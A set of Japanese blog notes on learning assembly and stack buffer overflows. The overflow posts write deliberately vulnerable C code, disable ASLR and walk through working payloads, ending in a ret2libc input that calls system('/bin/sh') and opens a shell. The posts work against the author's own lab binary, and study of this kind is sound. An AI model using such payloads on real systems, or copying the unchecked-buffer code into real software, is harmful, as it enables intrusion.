アセンブリ言語について少し学ぶ
書き出し
アセンブリ言語について少し学ぶ。 メモ程度のもの。
本文
コマンド
# nasmは Netwide Assemblerの略称 nasm -f<format> <in> -o <out> #optin #-f : format # リンク用のGNUコマンド ld -o <out> <in>
メモ
hello.asm
global _start section .data message:db 'hello, world!',10 section .text _start: mov rax, 1 mov rdi, 1 mov rsi, message mov rdx, 15 syscall mov rax, 60 xor rdi, rdi syscall
この場合、.data(global 変数)
にdb(data byte)
の変数mesageを配置している。
また命令セクションである.text
に_start命令を配置し、syscallの呼び出し準備を行う。
syscall呼び出し時のレジスタ内部
今回自分の中で確認するために、はじめのwriteのコール時のシステムコールを元に解釈していく。
レジスタ | 値 | 意味 | 内容 |
---|---|---|---|
rax | 1 | system call | system call number |
rdi | 1 | 第一引数 | discription(書き込み先) |
rsi | message | 第二引数 | 文字列の先頭アドレス |
rdx | 14 | 第三引数 | 書き込むバイト数 |
C言語で表すとこのような表示になる。
#include <unistd.h> ssize_t write(int fd , const void * buf , size_t count );
syscall実行時にraxからwriteが実行され、引数として先頭からrdi,rsi,rdxが配置される。
変数の定義
表記 | 意味 |
---|---|
db | data byte|1byte |
dw | data word|2byte |
dd | data double word|4byte |
dq | data quad word|8byte |
例
section .data example1:db 1, 1, 2, 3, 5, 7 example2:times 999 db 1 example3:dw 999
times
変数(data)は、どのセクションの内側でも作ることができる。 CPUから見ればデータも一つの命令となるので解釈される。
実際にelfファイルにし、確認してみようと思う。
次のような内容になっており。しっかりと.data
や.text
にセクションが割り当てられていることがわかる。
$ objdump -D hello
hello: ファイル形式 elf64-x86-64 セクション .text の逆アセンブル: 00000000004000b0 <_start>: 4000b0: b8 01 00 00 00 mov $0x1,%eax 4000b5: bf 01 00 00 00 mov $0x1,%edi 4000ba: 48 be d8 00 60 00 00 movabs $0x6000d8,%rsi 4000c1: 00 00 00 4000c4: ba 0f 00 00 00 mov $0xf,%edx 4000c9: 0f 05 syscall 4000cb: b8 3c 00 00 00 mov $0x3c,%eax 4000d0: 48 31 ff xor %rdi,%rdi 4000d3: 0f 05 syscall セクション .data の逆アセンブル: 00000000006000d8 <message>: 6000d8: 68 65 6c 6c 6f pushq $0x6f6c6c65 6000dd: 2c 20 sub $0x20,%al 6000df: 77 6f ja 600150 <_end+0x68> 6000e1: 72 6c jb 60014f <_end+0x67> 6000e3: 64 21 0a and %ecx,%fs:(%rdx)
局所ラベルの利用とレジスタの出力
section .data codes: db '0123456789ABCDEF' section .text global _start _start: mov rax, 0x1122334455667788 mov rdi, 1 mov rdx, 1 mov rcx, 64 jmp .loop ;このstartで、rax内に値が存在する状況を生成。 .loop: ; 16文字の出力を行うためにこのloopで出力を行う。 ; 先の_startで設定したカウンタレジスタ内に16バイト分の数値を設定し、それを減算することにより文字列を出力する。 push rax ; raxの値を退避させることにより、値を保持。 sub rcx, 4 sar rax, cl and rax, 0xf lea rsi, [codes + rax] ;[codes + rax]は相対アドレスを意味する。 mov rax, 1 push rcx syscall pop rcx pop rax test rcx, rcx jnz .loop ; testで0でないことを確認してから、.loopへ飛ばす。 ; 文字数がなくなった時点でloop処理を終了し、exitする。 mov rax, 60 xor rdi, rdi syscall
.loop
のように先頭にピリオドを配置することにより局所的なラベルとして機能する。
今回の場合_start.loop
という扱いになる。
$ objdump -D ./print_rax ./print_rax: ファイル形式 elf64-x86-64 セクション .text の逆アセンブル: 00000000004000b0 <_start>: 4000b0: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax 4000b7: 33 22 11 4000ba: bf 01 00 00 00 mov $0x1,%edi 4000bf: ba 01 00 00 00 mov $0x1,%edx 4000c4: b9 40 00 00 00 mov $0x40,%ecx 4000c9: eb 00 jmp 4000cb <_start.loop> 00000000004000cb <_start.loop>: 4000cb: 50 push %rax 4000cc: 48 83 e9 04 sub $0x4,%rcx 4000d0: 48 d3 f8 sar %cl,%rax 4000d3: 48 83 e0 0f and $0xf,%rax 4000d7: 48 8d b0 f8 00 60 00 lea 0x6000f8(%rax),%rsi 4000de: b8 01 00 00 00 mov $0x1,%eax 4000e3: 51 push %rcx 4000e4: 0f 05 syscall 4000e6: 59 pop %rcx 4000e7: 58 pop %rax 4000e8: 48 85 c9 test %rcx,%rcx 4000eb: 75 de jne 4000cb <_start.loop> 4000ed: b8 3c 00 00 00 mov $0x3c,%eax 4000f2: 48 31 ff xor %rdi,%rdi 4000f5: 0f 05 syscall セクション .data の逆アセンブル: 00000000006000f8 <codes>: 6000f8: 30 31 xor %dh,(%rcx) 6000fa: 32 33 xor (%rbx),%dh 6000fc: 34 35 xor $0x35,%al 6000fe: 36 ss 6000ff: 37 (bad) 600100: 38 39 cmp %bh,(%rcx) 600102: 41 rex.B 600103: 42 rex.X 600104: 43 rex.XB 600105: 44 rex.R 600106: 45 rex.RB 600107: 46 rex.RX
関数のcall
いままではラベルを利用して、jampしそこで実行されるなどを行ってきたが、実際に関数をコールしたいと思う。
push rip jmp <address>
このようにコールする際は、ripをstack内に保存し、ジャンプする。
関数の利用
実際に関数を利用し、printを実装する。
アセンブラで関数を実装するのには特にラベルとの違うところはない。
主に、異なる箇所は、retやpushによる値の保存を行っているところであろう。
section .data demo1: dq 0x1122334455667788 demo2: db 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 demo3: db '0123456789abcdef' newline_char: db 10 section .text global _start print_newline: ; いつもの初期設定 mov rax, 1 mov rdi, 1 mov rsi, newline_char mov rdx, 1 syscall ret print_hex: mov rax, rdi mov rdi, 1 mov rdx, 1 mov rcx, 64 ; rax をシフトするビット数 iterate: push rax sub rcx, 4 sar rax, cl ; 右にシフト回転させる and rax, 0xf ; 下位4ビット以外を初期化 lea rsi, [codes + rax] ; 16進数の文字コードを取得 mov rax, 1 push rcx ; write自体がrcxを破壊するので退避する。 syscall pop rcx pop rax test rcx, rcx jnz iterate ret _start: mov rdi, [demo1] ; [demo1]がdemo1の先頭アドレスをを与える。 call print_hex call print_newline mov rdi, [demo2] call print_hex call print_newline mov rdi, [demo3] call print_hex call print_newline mov rax, 60 xor rdi, rdi syscall
何かあれば追記する。
登竜門的なものを叩いてみる話 #02
書き出し
記事を解いたら解けた。
前回の記事の継続です。
本文
年明けから考えてた目標を一つクリアしたので満足しています。
知識的に前回の記事の知識と、 azara.hatenablog.com
katagaitai CTF勉強会の#2のスライドを読んだら解けたので困っている人がいたら読んでみてください。
画像群
登竜門的なものを叩いてみる話 #01
書き出し
「Pwnをしてみたい。」
と思ったのでctf4u のpwn challenges listを進めてみる。
本文
villager Bが解けたらブログを書こうと思っていたのですが、少し長引きそうだなと思ったので、先にvillager Aを解いたことを報告するブログを書こうと思い書きました。
Playする前にハロー“Hello, World"OSと標準ライブラリのシゴトとしくみとハリネズミ本に目を通していたのでそこまで不便することなく解けました。
各本で助かったこと
ハロー“Hello, World"OSと標準ライブラリのシゴトとしくみ
- 調査の仕方や、exploit codeの書き方などが学べた。
- セキュリティ機構などについてまとめられていて、調査の手法など多くを得られた。
- eipを制御下に置く方法について触れられた。(模擬的なcall)
- ちょっとだけx86に抵抗感がなくなった。
所感
villager Aとvillager Bの難易度の差に少しびっくりしていますが、今後も少しづつ進めていきたい。
バッファオーバーフロー入門のためにしたメモ その2
書き出し
前回の継続で勉強した内容を書き出す記事です。
環境
$ cat /etc/os-release NAME="Ubuntu" VERSION="14.04, Trusty Tahr" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 14.04 LTS" VERSION_ID="14.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" $ uname -a Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ sudo sysctl -w kernel.randomize_va_space=0 $ gcc --version gcc (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4 Copyright (C) 2013 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
実験
実験コード
#include<stdio.h> #include<string.h> char buf[64]; int main() { char local[64]; printf("buffer 0x%x \n",&buf); fgets(local,128,stdin); strcpy(buf,local); return 0; }
観察
前回の観察で実際にバッファーから値が漏れ出すことを確認できたので、それをもう少し知識を深くしていく。
[1] 溢れ出た値の確認
先の実験でも確認していた実効アドレス(EIP)の書き換えを行うと指定したアドレスに飛んでくれるそうなのでそれを悪用していこうと思う。
アドレスを書き換えられた様子
$ python -c 'print("A"*70)' | strace -i ./ret [00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0 [ Process PID=16520 runs in 32 bit mode. ] [f7ff1ee9] brk(0) = 0x804b000 [f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) [f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000 ~~~中略~~~ [f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 [f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000 [f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81 [41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} --- [????????????????] +++ killed by SIGSEGV (core dumped) +++ Segmentation fault (コアダンプ)
実際に動かすに際し、このようなアドレスにブレークポイントを設置する。
gdb-peda$ disas main Dump of assembler code for function main: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 0x080484a3 <+6>: sub esp,0x50 0x080484a6 <+9>: mov DWORD PTR [esp+0x4],0x804a060 0x080484ae <+17>: mov DWORD PTR [esp],0x8048590 0x080484b5 <+24>: call 0x8048350 <printf@plt> 0x080484ba <+29>: mov eax,ds:0x804a040 0x080484bf <+34>: mov DWORD PTR [esp+0x8],eax 0x080484c3 <+38>: mov DWORD PTR [esp+0x4],0x80 0x080484cb <+46>: lea eax,[esp+0x10] 0x080484cf <+50>: mov DWORD PTR [esp],eax 0x080484d2 <+53>: call 0x8048360 <fgets@plt> 0x080484d7 <+58>: lea eax,[esp+0x10] 0x080484db <+62>: mov DWORD PTR [esp+0x4],eax 0x080484df <+66>: mov DWORD PTR [esp],0x804a060 0x080484e6 <+73>: call 0x8048370 <strcpy@plt> 0x080484eb <+78>: mov eax,0x0 0x080484f0 <+83>: leave 0x080484f1 <+84>: ret End of assembler dump. gdb-peda$ b main Breakpoint 1 at 0x80484a0 gdb-peda$ b *main+53 Breakpoint 2 at 0x80484d2 gdb-peda$ b *main+83 Breakpoint 3 at 0x80484f0
プログラム起動直後のスタック領域としては次のようになるだろう。
0x00000000方向 低位アドレス +------------------+ |buf[0x50] | アドレスに入っていたデータ +------------------+ |Saved EBP | 0x00000000 +------------------+ |Return Address | 0xf7e2caf3 in __libc_start_main () +------------------+ 0xffffffff方向 高位アドレス
入力をしてスタックの様子を確認しよう。 入力値として今回は'A'*70を入力
gdb-peda$ where #0 0x080484d7 in main () #1 0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 #2 0x080483c1 in _start () gdb-peda$ x/32xw $esp 0xffffd670: 0xffffd680 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd680: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6c0: 0x41414141 0x000a4141 0x00000000 0xf7e2caf3 0xffffd6d0: 0x00000001 0xffffd764 0xffffd76c 0xf7feae6a 0xffffd6e0: 0x00000001 0xffffd764 0xffffd704 0x0804a01c
確保した領域からは完全にはみ出しているが、 0x080484a0 <+3>: and esp,0xfffffff0
で揃えられた領域で受け止めているのでSaved EBP とReturn Address は汚染されていない。
書き換えまでおおよそ10文字程度であると考えるのでpython -c 'print("A"*76+[address])'
で任意のアドレスに飛びそうだと考えられる。
まずは実際に動くのかを確認するためにmain() の際呼び出しをしていく。
[2] アドレスの書き換え
アドレスを書き換えるために飛ばしたい先のアドレスをリトルエンディアンに変更しなければならない。
もしかするとどこかに良いツールがあったりコマンドがあるのかもしれないが、作ってしまった方が早いと思い、\x数値
のような形で変換するツールを作った。
これを実際に利用してアドレスを変換しつつ、アドレスの書き換えが可能なのか確認する。
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./ret buffer 0x804a060 buffer 0x804a060 Segmentation fault (コアダンプ)
実際に2度動いた。
確認のためにstraceをかませてみよう。
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|strace -i ./ret [00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0 [ Process PID=17009 runs in 32 bit mode. ] [f7ff1ee9] brk(0) = 0x804b000 [f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) [f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000 [f7ff3a81] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) [f7ff3984] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 [f7ff390d] fstat64(3, {st_mode=S_IFREG|0644, st_size=89006, ...}) = 0 [f7ff3b53] mmap2(NULL, 89006, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fc4000 ~~~中略~~~ [f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 ) = 18 [f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 [f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000 [f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81 [f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 ) = 18 [f7fdb430] read(0, "", 4096) = 0 [0000000a] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa} --- [????????????????] +++ killed by SIGSEGV (core dumped) +++ Segmentation fault (コアダンプ)
f7fdb430
が2度確認できるので実際に2度動作したことがわかった。
[3] 任意の命令実行
Returnアドレスの変化を確認したので実行ファイル内に存在する命令を呼び出してみる。
はじめにPLT(Procedure Linkage Table)内部のアドレスに書き換えてみる。
- ざっくり自分用メモ PLT : プログラムが実行する関数を一覧としてまとめたもの。
まずはobjdumpでplt内部のアドレス情報を把握する。
$ objdump -d -j .plt --no ret ret: ファイル形式 elf32-i386 セクション .plt の逆アセンブル: 08048340 <printf@plt-0x10>: 8048340: pushl 0x804a004 8048346: jmp *0x804a008 804834c: add %al,(%eax) ... 08048350 <printf@plt>: 8048350: jmp *0x804a00c 8048356: push $0x0 804835b: jmp 8048340 <_init+0x28> 08048360 <fgets@plt>: 8048360: jmp *0x804a010 8048366: push $0x8 804836b: jmp 8048340 <_init+0x28> 08048370 <strcpy@plt>: 8048370: jmp *0x804a014 8048376: push $0x10 804837b: jmp 8048340 <_init+0x28> 08048380 <__gmon_start__@plt>: 8048380: jmp *0x804a018 8048386: push $0x18 804838b: jmp 8048340 <_init+0x28> 08048390 <__libc_start_main@plt>: 8048390: jmp *0x804a01c 8048396: push $0x20 804839b: jmp 8048340 <_init+0x28>
今回はprintを実行するので、先ほどのecho -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./ret
にアドレスをと必要なものを書き足していく。
関数の実行時には、引数が必要な場合があるので、それも考慮しながらアドレスを配置する。
このアドレスの配置の際、mainのret命令が擬似call命令となるため、そこを見落としてはならない。
0x00000000方向 低位アドレス +------------------+ |buf[0x50] | 0x41414141 ... +------------------+ |Saved EBP | 0x41414141 +------------------+ |Return Address | 0x08048350 printf@plt : 擬似的なcall +------------------+ |擬似call ret add | 0x080484ae main +------------------+ |call arg1 | 0x0804a060 変数buf +------------------+ |call arg2 | ? +------------------+ 0xffffffff方向 高位アドレス
そして実際に実行してみる。
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\xae\x84\x04\x08\x60\xa0\x04\x08'|./ret buffer 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?`? buffer 0xffff000a Segmentation fault (コアダンプ)
入力した値と、buffer
のアドレスが表示されたので想定通りの動きにはなっている。ここで2度目のbufferが変化していることに気づくが今回は触れないでおく。
次に実行ファイルにリンクしているlibcから命令を呼び出してみる。
実際に実行ファイル内にlibcが確認できるのでこれらを先ほどのアドレスに当てはめていく。
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e53310 <system> gdb-peda$ p printf $2 = {<text variable, no debug info>} 0xf7e60410 <printf> gdb-peda$ p fgets $3 = {<text variable, no debug info>} 0xf7e76ca0 <fgets> gdb-peda$ p malloc $4 = {<text variable, no debug info>} 0xf7ff1810 <malloc>
今回はシェルを立ち上げるために/bin/sh #
を先頭に割り当て、systemでそれを実行する。
0x00000000方向 低位アドレス +------------------+ |buf[0x50] | 0x6e69622f 0x2068732f 0x00000a23 0x41414141 ... +------------------+ |Saved EBP | 0x41414141 +------------------+ |Return Address | 0xf7e53310 <system> : 擬似的なcall +------------------+ |擬似call ret add | 0x080484ae main +------------------+ |call arg1 | 0x0804a060 変数buf +------------------+ |call arg2 | ? +------------------+ 0xffffffff方向 高位アドレス
そして実際に実行してみる。
$ (echo -e '/bin/sh #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x33\xe5\xf7\xae\x84\x04\x08\x60\xa0\x04\x08'; cat)|./ret buffer 0x804a060 ls gadget gadget.c peda-session-ret.txt ret ret.c test exit buffer 0xffff000a ls exit Segmentation fault (コアダンプ)
シェルの起動を確認し、コマンド入力も可能なことがわかった。
今回のメモはここまで。
参考書籍/サイト
バッファオーバーフロー入門のためにしたメモ
書き出し
低い分野の脆弱性が理解できていないので実際にやった実験とそれを実況形式で書き示します。
環境
$ cat /etc/os-release NAME="Ubuntu" VERSION="14.04, Trusty Tahr" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 14.04 LTS" VERSION_ID="14.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" $ uname -a Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
実験
実験用コード
buf_over.c
#include<stdio.h> int main(int argc,char *argv[]) { char buf[64];//※1 printf("start fgets.\n"); fgets(buf,128,stdin);//※2 printf("\nend fgets.\n"); printf(buf); return 0; }
3番目のprintf(3)で書式文字列攻撃ができそうだけどここでは確認用なので放置。
※1 : 関数内変数を文字型で64バイト
※2 : fgets(3)で標準入力を受けるも128バイトと大幅なサイズオーバー
観察
Hello Worldなどを読んで若干ではあるがStackの動きやメモリへの書き込みを学んでいるので、ここで少し考察をしながら確認をして行こうと考えます。
[1] buf[64]の確保
main関数内で定義されたbuf[64]は、スタックフレーム上にメモリ空間を確保すると思われる。
おおよそasmでのこの部分で確保しているのであろう。
0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 => 0x080484a3 <+6>: sub esp,0x50 //ここで変数の確保 0x080484a6 <+9>: mov DWORD PTR [esp],0x8048580
実際にフレームを感が思い浮かべてみるとこのような形になるのだろうか。
0x00000000方向 低位アドレス +------------------+ |buffer[64] | +------------------+ |Saved EBP | +------------------+ |Return Address | +------------------+ 0xffffffff方向 高位アドレス
それでは実施のリターンアドレスはどのように格納されているのだろうか?それを確認しに行こう。
gdb-peda$ where #0 0x080484ca in main () #1 0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 #2 0x080483c1 in _start ()
バックとレースではこのように表示されている。 それでは実際のスタック領域ではどのようになっているのだろうか。
gdb-peda$ x/64xw $esp 0xffffd680: 0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd690: 0x00000000 0x00c30000 0x00000001 0x08048321 0xffffd6a0: 0xffffd894 0x0000002f 0x0804a000 0x08048542 0xffffd6b0: 0x00000001 0xffffd774 0xffffd77c 0xf7e464ad 0xffffd6c0: 0xf7fc03c4 0xf7ffd000 0x080484fb 0xf7fc0000 0xffffd6d0: 0x080484f0 0x00000000 0x00000000 0xf7e2caf3 0xffffd6e0: 0x00000001 0xffffd774 0xffffd77c 0xf7feae6a 0xffffd6f0: 0x00000001 0xffffd774 0xffffd714 0x0804a01c 0xffffd700: 0x08048250 0xf7fc0000 0x00000000 0x00000000 0xffffd710: 0x00000000 0x50781f72 0x6a40bb62 0x00000000 0xffffd720: 0x00000000 0x00000000 0x00000001 0x080483a0 0xffffd730: 0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000 0xffffd740: 0x00000001 0x080483a0 0x00000000 0x080483c1 0xffffd750: 0x0804849d 0x00000001 0xffffd774 0x080484f0 0xffffd760: 0x08048560 0xf7feb300 0xffffd76c 0x0000001c 0xffffd770: 0x00000001 0xffffd894 0x00000000 0xffffd8a9
0xffffd6d0の行で6列目にwhere
によって確認された0xf7e2caf3を発見。
つまるところこの位置が目印となるReturn Addressになる。
※ 自分用メモ : sub esp,0x50 でポインタを移動させているだけなのでメモリ内部は初期化されていない。
[2] buf[64]への書き込み
実際に書き込みをしてみる。
このままgdbを進めてみると、fgets(3)が作動する。
0x080484c7 <+42>: mov DWORD PTR [esp],eax 0x080484ca <+45>: call 0x8048360 <fgets@plt> => 0x080484cf <+50>: mov DWORD PTR [esp],0x804858d
実際にA*64を入力してみて、64も自分のメモリ空間を埋めてみる。
すると、メモリ領域に変化が見えた。
ESP: 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...)
ESPでは0xffffd680のアドレスをさしており、そのアドレスが参照しているアドレスが0xffffd690となる。
実際にそのアドレスを見てみると、
gdb-peda$ x/64xw $esp 0xffffd680: 0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6d0: 0x0804000a 0x00000000 0x00000000 0xf7e2caf3 0xffffd6e0: 0x00000001 0xffffd774 0xffffd77c 0xf7feae6a 0xffffd6f0: 0x00000001 0xffffd774 0xffffd714 0x0804a01c 0xffffd700: 0x08048250 0xf7fc0000 0x00000000 0x00000000 0xffffd710: 0x00000000 0x9ce8c9fd 0xa6d06ded 0x00000000 0xffffd720: 0x00000000 0x00000000 0x00000001 0x080483a0 0xffffd730: 0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000 0xffffd740: 0x00000001 0x080483a0 0x00000000 0x080483c1 0xffffd750: 0x0804849d 0x00000001 0xffffd774 0x080484f0 0xffffd760: 0x08048560 0xf7feb300 0xffffd76c 0x0000001c 0xffffd770: 0x00000001 0xffffd894 0x00000000 0xffffd8a9
そう0x414141....とメモリ空間を埋めている。64文字分しっかりと埋めていた。
この入力を実際に実行ファイルに入力してみる。
$ python -c 'print("A"*64)'|./buf start fgets. end fgets. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
問題なく終了した。それでは、64文字以上の文字列を入れたらどうなるのだろうか?ここで初歩的な疑問にやっとのことたどり着いた。
[3] 過剰な入力
それではどれほど入力してみようか、と私は考える。はじめはできる限り多めの入力をしておこう。
ならば上限である128文字を入力しよう。
$ python -c 'print("A"*128)'| ./buf start fgets. end fgets. Segmentation fault (コアダンプ)
まぁ、そうなりますはな....
gdbで実際に見てみよう。
gdb-peda$ x/64xw $esp 0xffffd680: 0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd690: 0x00000000 0x00c30000 0x00000001 0x08048321 0xffffd6a0: 0xffffd894 0x0000002f 0x0804a000 0x08048542 0xffffd6b0: 0x00000001 0xffffd774 0xffffd77c 0xf7e464ad 0xffffd6c0: 0xf7fc03c4 0xf7ffd000 0x080484fb 0xf7fc0000 0xffffd6d0: 0x080484f0 0x00000000 0x00000000 0xf7e2caf3 0xffffd6e0: 0x00000001 0xffffd774 0xffffd77c 0xf7feae6a 0xffffd6f0: 0x00000001 0xffffd774 0xffffd714 0x0804a01c 0xffffd700: 0x08048250 0xf7fc0000 0x00000000 0x00000000 0xffffd710: 0x00000000 0x818fa802 0xbbb70c12 0x00000000 0xffffd720: 0x00000000 0x00000000 0x00000001 0x080483a0 0xffffd730: 0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000 0xffffd740: 0x00000001 0x080483a0 0x00000000 0x080483c1 0xffffd750: 0x0804849d 0x00000001 0xffffd774 0x080484f0 0xffffd760: 0x08048560 0xf7feb300 0xffffd76c 0x0000001c 0xffffd770: 0x00000001 0xffffd894 0x00000000 0xffffd8a9 gdb-peda$ n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [-----------------------------------registers-----------------------------------] EAX: 0xffffd690 ('A' <repeats 15 times>...) EBX: 0xf7fc0000 --> 0x1acda8 ECX: 0xffffd690 ('A' <repeats 15 times>...) EDX: 0xf7fc18a4 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd6d8 ('A' <repeats 15 times>...) ESP: 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...) EIP: 0x80484cf (<main+50>: mov DWORD PTR [esp],0x804858d) [-------------------------------------code--------------------------------------] 0x80484c3 <main+38>: lea eax,[esp+0x10] 0x80484c7 <main+42>: mov DWORD PTR [esp],eax 0x80484ca <main+45>: call 0x8048360 <fgets@plt> => 0x80484cf <main+50>: mov DWORD PTR [esp],0x804858d 0x80484d6 <main+57>: call 0x8048370 <puts@plt> 0x80484db <main+62>: lea eax,[esp+0x10] 0x80484df <main+66>: mov DWORD PTR [esp],eax 0x80484e2 <main+69>: call 0x8048350 <printf@plt> [-------------------------------------stack-------------------------------------] 00:0000| esp 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...) 01:0004| 0xffffd684 --> 0x80 02:0008| 0xffffd688 --> 0xf7fc0c20 --> 0xfbad2288 03:0012| 0xffffd68c --> 0xf7e462f3 (add ebx,0x179d0d) 04:0016| ecx eax 0xffffd690 ('A' <repeats 15 times>...) 05:0020| 0xffffd694 ('A' <repeats 15 times>...) 06:0024| 0xffffd698 ('A' <repeats 15 times>...) 07:0028| 0xffffd69c ('A' <repeats 15 times>...) [-------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value 0x080484cf in main () gdb-peda$ x/64xw $esp 0xffffd680: 0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd700: 0x41414141 0x41414141 0x41414141 0x00414141 0xffffd710: 0x00000000 0x818fa802 0xbbb70c12 0x00000000 0xffffd720: 0x00000000 0x00000000 0x00000001 0x080483a0 0xffffd730: 0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000 0xffffd740: 0x00000001 0x080483a0 0x00000000 0x080483c1 0xffffd750: 0x0804849d 0x00000001 0xffffd774 0x080484f0 0xffffd760: 0x08048560 0xf7feb300 0xffffd76c 0x0000001c 0xffffd770: 0x00000001 0xffffd894 0x00000000 0xffffd8a9
圧倒的塗りつぶし!
0x41(A)で塗りつぶされてReturn Address まで塗りつぶされました。
[4] どこでSegmentation fault?
では実際にどこでSegmentation faultが発生したのか?僕としてはそこが気になりました。
gdbを先に進めましょう。
fgets(3)の後にバックとレースをしてみますと、汚染が常に進んでおり、retに0x414141...がたむろする状況。
